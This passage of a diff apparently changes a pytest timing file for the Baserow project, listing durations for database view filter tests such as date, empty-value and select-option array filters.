"tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-yesterday--expected_results42]": 0.3885234580084216, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-exact_date-2024-05-24-expected_results41]": 0.32742466701893136, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-next_month--expected_results31]": 0.3231453319895081, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-next_week--expected_results30]": 0.33087533398065716, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-next_year--expected_results32]": 0.3370172090071719, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-nr_days_ago-7-expected_results33]": 0.32329391801613383, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-nr_days_from_now-7-expected_results37]": 0.3151895419578068, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-nr_months_ago-1-expected_results35]": 0.3091807499877177, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-nr_months_from_now-1-expected_results39]": 0.27114970903494395, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-nr_weeks_ago-1-expected_results34]": 0.3102825409732759, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-nr_weeks_from_now-1-expected_results38]": 0.30867516601574607, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-nr_years_ago-1-expected_results36]": 0.3158155420096591, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-nr_years_from_now-1-expected_results40]": 0.32738958398113027, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-one_month_ago--expected_results25]": 0.32328983303159475, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-one_week_ago--expected_results24]": 0.31911458299146034, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-one_year_ago--expected_results26]": 0.30074520700145513, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-this_month--expected_results28]": 0.31100687498110346, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-this_week--expected_results27]": 0.3123804989736527, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-this_year--expected_results29]": 0.3280060010147281, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-today--expected_results22]": 0.3305966669868212, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-tomorrow--expected_results23]": 0.3086819170275703, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_not-yesterday--expected_results21]": 0.29404729200177826, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-exact_date-2024-05-24-expected_results125]": 0.3372400419902988, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-next_month--expected_results115]": 0.35054358301567845, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-next_week--expected_results114]": 0.36668941599782556, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-next_year--expected_results116]": 0.340660707995994, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-nr_days_ago-7-expected_results117]": 0.36555516699445434, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-nr_days_from_now-7-expected_results121]": 0.3253502499719616, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-nr_months_ago-1-expected_results119]": 0.38931420899461955, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-nr_months_from_now-1-expected_results123]": 0.3114041250082664, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-nr_weeks_ago-1-expected_results118]": 0.38539712395868264, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-nr_weeks_from_now-1-expected_results122]": 0.38162491598632187, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-nr_years_ago-1-expected_results120]": 0.3785584990400821, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-nr_years_from_now-1-expected_results124]": 0.3151365410303697, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-one_month_ago--expected_results109]": 0.3619744579773396, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-one_week_ago--expected_results108]": 0.35468812502222136, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-one_year_ago--expected_results110]": 0.31960329102003016, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-this_month--expected_results112]": 0.36505845800274983, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-this_week--expected_results111]": 0.6693071250047069, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-this_year--expected_results113]": 0.35043412499362603, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-today--expected_results106]": 0.3726173760078382, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-tomorrow--expected_results107]": 0.3791854169976432, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_after-yesterday--expected_results105]": 0.3397495410172269, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-exact_date-2024-05-24-expected_results83]": 0.3423844160279259, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-next_month--expected_results73]": 0.35529395699268207, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-next_week--expected_results72]": 0.3586126250156667, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-next_year--expected_results74]": 0.3588283749704715, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-nr_days_ago-7-expected_results75]": 0.3493264999706298, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-nr_days_from_now-7-expected_results79]": 0.6182720429787878, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-nr_months_ago-1-expected_results77]": 0.3547801660024561, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-nr_months_from_now-1-expected_results81]": 0.356666291016154, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-nr_weeks_ago-1-expected_results76]": 0.3511776249797549, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-nr_weeks_from_now-1-expected_results80]": 0.35586095799226314, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-nr_years_ago-1-expected_results78]": 0.35920658300165087, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-nr_years_from_now-1-expected_results82]": 0.3335021249658894, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-one_month_ago--expected_results67]": 0.29964662503334694, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-one_week_ago--expected_results66]": 0.3740213749697432, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-one_year_ago--expected_results68]": 0.35823862499091774, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-this_month--expected_results70]": 0.3566025830223225, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-this_week--expected_results69]": 0.3572030820068903, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-this_year--expected_results71]": 0.3692491259716917, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-today--expected_results64]": 0.35974195899325423, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-tomorrow--expected_results65]": 0.3503277499694377, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_on_or_before-yesterday--expected_results63]": 0.3494080420350656, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-exact_date-2024-05-25-expected_results145]": 0.37065670898300596, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-next_month--expected_results135]": 0.40269208399695344, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-next_week--expected_results134]": 0.36607558402465656, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-next_year--expected_results136]": 0.36141058296198025, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-nr_days_ago-7-expected_results141]": 0.37287304300116375, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-nr_days_from_now-7-expected_results137]": 0.35944254201604053, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-nr_months_ago-1-expected_results143]": 0.6649160409579054, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-nr_months_from_now-1-expected_results139]": 0.3828149580222089, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-nr_weeks_ago-1-expected_results142]": 0.3522747089737095, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-nr_weeks_from_now-1-expected_results138]": 0.36813083398737945, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-nr_years_ago-1-expected_results144]": 0.37610487500205636, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-nr_years_from_now-1-expected_results140]": 0.37452491698786616, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-one_month_ago--expected_results129]": 0.39777279197005555, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-one_week_ago--expected_results128]": 0.38961658396874554, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-one_year_ago--expected_results130]": 0.39390899997670203, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-this_month--expected_results132]": 0.37086250103311613, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-this_week--expected_results131]": 0.4022421249828767, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-this_year--expected_results133]": 0.38503729199874215, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-tomorrow--expected_results127]": 0.3695866249909159, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_within-yesterday--expected_results126]": 0.37651308401837014, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_array_filter[date_field_factory]": 0.4918150409939699, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_array_filter[datetime_field_factory]": 0.5194508749991655, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_array_filter[duration_field_factory]": 0.5099582919792738, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_array_filter[email_field_factory]": 0.5329953749896958, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_array_filter[file_field_factory]": 0.4128142500121612, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_array_filter[long_text_field_factory]": 0.47726170800160617, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_array_filter[multiple_collaborators_field_factory]": 0.5148459579795599, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_array_filter[multiple_select_field_factory]": 0.49165316598373465, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_array_filter[number_field_factory]": 0.40294225004618056, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_array_filter[phone_number_field_factory]": 0.43091558301239274, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_array_filter[single_select_field_factory]": 0.3913754579552915, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_array_filter[text_field_factory]": 0.5463153339806013, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_array_filter[url_field_factory]": 0.47813708303146996, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_filters_boolean_lookup_field_type[empty--expected_rows1]": 0.25120866697398014, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_filters_boolean_lookup_field_type[not_empty--expected_rows0]": 0.23127858401858248, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_read_only_array_filter[create_autonumber_field]": 0.3527267499885056, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_read_only_array_filter[create_created_on_field]": 0.35137349998694845, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_read_only_array_filter[create_last_modified_field]": 0.35276604202226736, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_empty_not_empty_read_only_array_filter[create_uuid_field]": 0.42451616798643954, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_all_values_equal_filter_boolean_lookup_field_type[has_all_values_equal--expected_rows6]": 0.2491237070353236, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_all_values_equal_filter_boolean_lookup_field_type[has_all_values_equal-0-expected_rows0]": 0.24390133397537284, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_all_values_equal_filter_boolean_lookup_field_type[has_all_values_equal-1-expected_rows1]": 0.2299009990238119, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_all_values_equal_filter_boolean_lookup_field_type[has_all_values_equal-False-expected_rows2]": 0.23352337500546128, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_all_values_equal_filter_boolean_lookup_field_type[has_all_values_equal-True-expected_rows3]": 0.2325746240094304, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_all_values_equal_filter_boolean_lookup_field_type[has_all_values_equal-f-expected_rows4]": 0.23408549997839145, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_all_values_equal_filter_boolean_lookup_field_type[has_all_values_equal-invalid-expected_rows7]": 0.24467162496875972, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_all_values_equal_filter_boolean_lookup_field_type[has_all_values_equal-t-expected_rows5]": 0.23645058399415575, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_any_select_option_equal_filter_single_select_field": 0.24980279200826772, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_empty_value_filter_text_field_types[email_field_factory-text_field_value_factory]": 0.22638545799418353, "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_empty_value_filter_text_field_types[email_field_factory]": 0.21424533300069015, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_empty_value_filter_text_field_types[long_text_field_factory-text_field_value_factory]": 0.19175516601535492, "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_empty_value_filter_text_field_types[long_text_field_factory]": 0.21456854100051714, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_empty_value_filter_text_field_types[phone_number_field_factory-text_field_value_factory]": 0.20392095801071264, "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_empty_value_filter_text_field_types[phone_number_field_factory]": 0.21298700100032875, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_empty_value_filter_text_field_types[single_select_field_factory-single_select_field_value_factory]": 0.22448462602915242, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_empty_value_filter_text_field_types[text_field_factory-text_field_value_factory]": 0.23803366697393358, "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_empty_value_filter_text_field_types[text_field_factory]": 0.21445475000018632, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_empty_value_filter_text_field_types[url_field_factory-text_field_value_factory]": 0.23341583300498314, "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_empty_value_filter_text_field_types[url_field_factory]": 0.2272752920007406, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_empty_value_filter_uuid_field_types": 0.2153230829999302, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_empty_value_filter_uuid_field_types": 0.22993704097461887, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_none_select_option_equal_filter_single_select_field": 0.2451180829666555, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_empty_value_filter_text_field_types[email_field_factory-text_field_value_factory]": 0.24692391799180768, "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_empty_value_filter_text_field_types[email_field_factory]": 0.2134679579994554, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_empty_value_filter_text_field_types[long_text_field_factory-text_field_value_factory]": 0.22297324895043857, "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_empty_value_filter_text_field_types[long_text_field_factory]": 0.2127876259992263, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_empty_value_filter_text_field_types[phone_number_field_factory-text_field_value_factory]": 0.2471664159966167, "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_empty_value_filter_text_field_types[phone_number_field_factory]": 0.22028308499920968, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_empty_value_filter_text_field_types[single_select_field_factory-single_select_field_value_factory]": 0.21115112499683164, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_empty_value_filter_text_field_types[text_field_factory-text_field_value_factory]": 0.21772904103272595, "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_empty_value_filter_text_field_types[text_field_factory]": 0.213256416999684, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_empty_value_filter_text_field_types[url_field_factory-text_field_value_factory]": 0.22609729200485162, "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_empty_value_filter_text_field_types[url_field_factory]": 0.2170678759994189, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_empty_value_filter_uuid_field_types": 0.2170733349994407, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_filter_text_field_types[email_field_factory]": 0.228475625000101, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_filter_text_field_types[long_text_field_factory]": 0.22817899999972724, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_filter_text_field_types[phone_number_field_factory]": 0.22806929200032755, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_filter_text_field_types[text_field_factory]": 0.23416037499828235, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_filter_text_field_types[url_field_factory]": 0.23358845900020242, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_filter_uuid_field_types": 0.22548079100124596, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_word_filter_text_field_types[email_field_factory]": 0.23196199999892997, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_word_filter_text_field_types[long_text_field_factory]": 0.22776324999904318, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_word_filter_text_field_types[phone_number_field_factory]": 0.23439479199896596, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_word_filter_text_field_types[text_field_factory]": 0.22694395799953782, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_word_filter_text_field_types[url_field_factory]": 0.22857674999977462, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_word_filter_uuid_field_types": 0.2200669169997127, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_text_field_types[email_field_factory]": 0.23409999999876163, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_text_field_types[long_text_field_factory]": 0.2174880420006957, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_text_field_types[phone_number_field_factory]": 0.21842987400032143, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_text_field_types[text_field_factory]": 0.2162268749998475, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_text_field_types[url_field_factory]": 0.22820975000013277, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_uuid_field_types": 0.2183357909998449, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_filter_text_field_types[email_field_factory]": 0.23166566700092517, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_filter_text_field_types[long_text_field_factory]": 0.4614815839995572, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_filter_text_field_types[phone_number_field_factory]": 0.22919795899997553, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_filter_text_field_types[text_field_factory]": 0.2276893749994997, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_filter_text_field_types[url_field_factory]": 0.22843108500183007, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_filter_uuid_field_types": 0.2275474160005615, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_word_filter_text_field_types[email_field_factory]": 0.23186683300082223, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_word_filter_text_field_types[long_text_field_factory]": 0.22983079199912027, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_word_filter_text_field_types[phone_number_field_factory]": 0.24012804200083337, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_word_filter_text_field_types[text_field_factory]": 0.22906191699985357, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_word_filter_text_field_types[url_field_factory]": 0.23558066700024938, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_contains_word_filter_uuid_field_types": 0.2213551249997181, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_text_field_types[email_field_factory]": 0.2176315849992534, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_text_field_types[long_text_field_factory]": 0.21683283300080802, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_text_field_types[phone_number_field_factory]": 0.22506274899933487, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_text_field_types[text_field_factory]": 0.22047787600058655, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_text_field_types[url_field_factory]": 0.21858779200010758, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_equal_filter_uuid_field_types": 0.21969179199913924, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_length_is_lower_than_text_field_types[email_field_factory]": 0.2370100829994044, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_length_is_lower_than_text_field_types[long_text_field_factory]": 0.23215362500013725, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_length_is_lower_than_text_field_types[phone_number_field_factory]": 0.23185083299995313, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_length_is_lower_than_text_field_types[text_field_factory]": 0.23109454100085713, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_length_is_lower_than_text_field_types[url_field_factory]": 0.23272762499891542, - "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_value_length_is_lower_than_uuid_field_types": 0.22911991700038925, - "tests/baserow/contrib/database/view/test_view_filters.py::test_after_or_equal_date_view_filter": 0.16361170900017896, - "tests/baserow/contrib/database/view/test_view_filters.py::test_after_or_equal_datetime_view_filter": 0.1613382069999716, - "tests/baserow/contrib/database/view/test_view_filters.py::test_before_or_equal_date_view_filter": 0.15748754199921677, - "tests/baserow/contrib/database/view/test_view_filters.py::test_before_or_equal_datetime_view_filter": 0.15911275100006605, - "tests/baserow/contrib/database/view/test_view_filters.py::test_boolean_filter_type": 0.1643340000000535, - "tests/baserow/contrib/database/view/test_view_filters.py::test_can_mix_field_types_and_callables_in_compatible_field_types": 0.02515170900096564, - "tests/baserow/contrib/database/view/test_view_filters.py::test_can_use_a_callable_in_compatible_field_types": 0.025693040999613004, - "tests/baserow/contrib/database/view/test_view_filters.py::test_contains_filter_type": 0.24784949999957462, - "tests/baserow/contrib/database/view/test_view_filters.py::test_contains_not_filter_type": 0.2209733330000745, - "tests/baserow/contrib/database/view/test_view_filters.py::test_contains_word_filter_type": 0.23180241799946089, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_after_days_ago_filter_type": 0.30684241600101814, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_after_filter_type": 0.16458137600056943, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_before_after_today_filter_type": 0.17600133399901097, - "tests/baserow/contrib/database/view/test_view_filters.py::test_date_before_filter_type": 0.16583816700040188, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_empty_value_filter_uuid_field_types": 0.20917583399568684, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_filter_single_select_field": 0.25909137399867177, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_filter_text_field_types[email_field_factory]": 0.26698229199973866, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_filter_text_field_types[long_text_field_factory]": 0.2631000410183333, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_filter_text_field_types[phone_number_field_factory]": 0.18710558200837113, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_filter_text_field_types[text_field_factory]": 0.27870445896405727, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_filter_text_field_types[url_field_factory]": 0.2736294569913298, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_filter_uuid_field_types": 0.24551079201046377, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_word_filter_single_select_field": 0.24913966801250353, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_word_filter_text_field_types[email_field_factory]": 0.26865670704864897, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_word_filter_text_field_types[long_text_field_factory]": 0.26553975002025254, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_word_filter_text_field_types[phone_number_field_factory]": 0.2463462500309106, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_word_filter_text_field_types[text_field_factory]": 0.2545782079687342, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_word_filter_text_field_types[url_field_factory]": 0.25044258299749345, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_contains_word_filter_uuid_field_types": 0.22705849999329075, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_boolean_lookup_field_type[has_not_value_equal--expected_rows6]": 0.21406704201945104, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_boolean_lookup_field_type[has_not_value_equal-0-expected_rows0]": 0.2301468749938067, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_boolean_lookup_field_type[has_not_value_equal-1-expected_rows1]": 0.22478287396370433, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_boolean_lookup_field_type[has_not_value_equal-False-expected_rows4]": 0.2346911680069752, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_boolean_lookup_field_type[has_not_value_equal-True-expected_rows5]": 0.23314670898253098, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_boolean_lookup_field_type[has_not_value_equal-f-expected_rows2]": 0.23248483400675468, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_boolean_lookup_field_type[has_not_value_equal-invalid-expected_rows7]": 0.2319381250126753, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_boolean_lookup_field_type[has_not_value_equal-t-expected_rows3]": 0.22493437401135452, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_single_select_field": 0.19024883297970518, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_has_not_value_equal_filter_text_field_types[email_field_factory]": 0.24599741701968014, + 